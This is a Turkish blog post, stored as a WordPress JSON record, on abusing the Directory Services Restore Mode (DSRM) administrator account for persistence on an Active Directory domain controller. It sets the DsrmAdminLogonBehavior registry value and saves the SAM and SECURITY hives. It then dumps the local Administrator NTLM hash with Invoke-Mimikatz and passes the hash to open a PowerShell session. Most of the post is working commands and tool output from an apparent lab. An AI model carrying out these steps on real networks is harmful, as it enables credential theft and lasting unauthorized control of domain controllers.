{"id":731,"date":"2021-01-16T22:10:46","date_gmt":"2021-01-16T22:10:46","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=731"},"modified":"2021-01-25T21:43:41","modified_gmt":"2021-01-25T21:43:41","slug":"dsrmi-kotuye-kullanma","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/01\/16\/dsrmi-kotuye-kullanma\/","title":{"rendered":"DSRM’i K\u00f6t\u00fcye Kullanma"},"content":{"rendered":"

Sald\u0131rgan\u0131n DSRM'i nas\u0131l k\u00f6t\u00fcye kullanabilece\u011fini bu yaz\u0131 i\u00e7erisinde \u00f6zetlenmi\u015f bir \u015fekilde anlataca\u011f\u0131m. Daha \u00f6ncesinde bundan bahsetmi\u015ftim.<\/a><\/p>\n

Bir domain olu\u015ftururken. Asl\u0131nda domain'de olmayan bir kullan\u0131c\u0131 ile o bilgisayarda oturum a\u00e7m\u0131\u015f olmam\u0131z gerekiyor. Tuhaf bir c\u00fcmle oldu! Ancak ilk olarak bir local admin ile bilgisayar\u0131 a\u00e7al\u0131m ki sonras\u0131nda domainn kurabilelim. Peki bu local admin hesaba sonras\u0131nda ne oluyor?<\/p>\n

DC \u00fczerinde bir local admin! Asl\u0131nda kula\u011fa son derece tehlikeli geliyor. Normal \u015fartlar alt\u0131nda bu hesab\u0131n PSSession yetkisi yoktur yani domain i\u00e7erisinde bir ba\u015fka bir makinede oturum a\u00e7amazs\u0131n\u0131z. Ancak kay\u0131t defterinde baz\u0131 d\u00fczenlemeler yaparak bu i\u015flemi yapmak m\u00fcmk\u00fcn hale gelecektir.<\/p>\n

Bu y\u00f6ntem kal\u0131c\u0131l\u0131k sa\u011flamak i\u00e7in yap\u0131lm\u0131\u015f bir y\u00f6ntemdir, bunu unutmay\u0131n. Bundan dolay\u0131 baz\u0131 ayr\u0131cal\u0131klara zaten \u00f6ncesinde sahibiz.<\/p>\n

[dcorp-dc]: PS C:\\Users\\Administrator\\Documents> Get-ItemProperty \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\\"\n\nauditbasedirectories      : 0\nauditbaseobjects          : 0\nBounds                    : {0, 48, 0, 0...}\ncrashonauditfail          : 0\nfullprivilegeauditing     : {0}\nLimitBlankPasswordUse     : 1\nNoLmHash                  : 1\nSecurity Packages         : {pku2u, wdigest, kerberos, msv1_0...}\nNotification Packages     : {rassfm, scecli}\nAuthentication Packages   : {msv1_0}\nLsaPid                    : 620\nSecureBoot                : 1\nProductType               : 7\ndisabledomaincreds        : 0\neveryoneincludesanonymous : 0\nforceguest                : 0\nrestrictanonymous         : 0\nrestrictanonymoussam      : 1\nPSPath                    : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Lsa\n                            \\\nPSParentPath              : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\nPSChildName               : Lsa\nPSDrive                   : HKLM\nPSProvider                : Microsoft.PowerShell.Core\\Registry\n<\/code><\/pre>\n
DC \u00fczerinde kod \u00e7al\u0131\u015ft\u0131rabildi\u011fimiz bir senaryoda  \u00f6ncesinde bir kontrol i\u015flemi yapm\u0131\u015f\u0131z. DsrmAdminLogonBehavior<\/code> \u00f6zelli\u011fini g\u00f6remiyoruz. Hadi bunu ekleyelim.<\/p>\n
[dcorp-dc]: PS C:\\Users\\Administrator\\Documents> New-ItemProperty \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\\" -Name \"DsrmAdminLogonBehavior\" -Value 2 -PropertyType DWORD\n<\/code><\/pre>\n
\u0130\u015fte bu kadar kolay!<\/p>\n
\u015eimdi bir client makine \u00fczerinden pash the hash yapabilecek durumday\u0131z.<\/p>\n
Bunun i\u00e7in DC \u00fczerinde mimikatz ile ilk olarak dump'lar\u0131 alal\u0131m.<\/p>\n
[dcorp-dc]: PS C:\\Users\\Administrator\\Documents> reg save hklm\\sam filename1.hiv\nThe operation completed successfully.\n\n[dcorp-dc]: PS C:\\Users\\Administrator\\Documents> reg save hklm\\security filename2.hiv\nThe operation completed successfully.\n[dcorp-dc]: PS C:\\Users\\Administrator\\Documents> Invoke-Mimikatz -Command '\"lsadump::sam filename1.hiv filename2.hiv\"'\n\n  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo) ** Kitten Edition **\n ## \/ \\ ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ## \\ \/ ##       > http:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        > http:\/\/pingcastle.com \/ http:\/\/mysmartlogon.com   ***\/\n\nmimikatz(powershell) # lsadump::sam filename1.hiv filename2.hiv\nDomain : DCORP-DC\nSysKey : 85462b93fc25ee67bb07ad899096199b\nLocal SID : S-1-5-21-1752050383-1088309824-3131404450\n\nSAMKey : 33e0913ef3886d77d5873060bcea1cfb\n\nRID  : 000001f4 (500)\nUser : Administrator\n  Hash NTLM: a102ad5753f4c441e3af31c97fad86fd\n\nRID  : 000001f5 (501)\nUser : Guest\n\nRID  : 000001f7 (503)\nUser : DefaultAccount <\/code><\/pre>\n
Harika! \u015eimdi pass the hash!<\/p>\n
PS C:\\AD> Invoke-Mimikatz -Command '\"sekurlsa::pth \/user:Administrator \/domain:dcorp-dc \/ntlm:a102ad5753f4c441e3af31c97fad86fd \/run:powershell.exe\"'\n\n  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo) ** Kitten Edition **\n ## \/ \\ ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ## \\ \/ ##       > http:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        > http:\/\/pingcastle.com \/ http:\/\/mysmartlogon.com   ***\/\n\nmimikatz(powershell) # sekurlsa::pth \/user:Administrator \/domain:dcorp-dc \/ntlm:a102ad5753f4c441e3af31c97fad86fd \/run:po\nwershell.exe\nuser    : Administrator\ndomain  : dcorp-dc\nprogram : powershell.exe\nimpers. : no\nNTLM    : a102ad5753f4c441e3af31c97fad86fd\n  |  PID  3156\n  |  TID  2240\n  |  LSA Process is now R\/W\n  |  LUID 0 ; 50367085 (00000000:03008a6d)\n  \\_ msv1_0   - data copy @ 0000024545405910 : OK !\n  \\_ kerberos - data copy @ 000002454588AB78\n   \\_ aes256_hmac       -> null\n   \\_ aes128_hmac       -> null\n   \\_ rc4_hmac_nt       OK\n   \\_ rc4_hmac_old      OK\n   \\_ rc4_md4           OK\n   \\_ rc4_hmac_nt_exp   OK\n   \\_ rc4_hmac_old_exp  OK\n   \\_ *Password replace @ 0000024545872228 (32) -> null\n\nPS C:\\AD><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Sald\u0131rgan\u0131n DSRM’i nas\u0131l k\u00f6t\u00fcye kullanabilece\u011fini bu yaz\u0131 i\u00e7erisinde \u00f6zetlenmi\u015f bir \u015fekilde anlataca\u011f\u0131m. Daha \u00f6ncesinde bundan bahsetmi\u015ftim. Bir domain olu\u015ftururken. Asl\u0131nda domain’de olmayan bir kullan\u0131c\u0131 ile…<\/p>\n
Devam\u0131n\u0131 okuDSRM’i K\u00f6t\u00fcye Kullanma<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[269,320],"tags":[399],"class_list":["post-731","post","type-post","status-publish","format-standard","hentry","category-active-directory","category-powershell","tag-dsrm","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/731","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=731"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/731\/revisions"}],"predecessor-version":[{"id":884,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/731\/revisions\/884"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=731"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=731"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=731"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}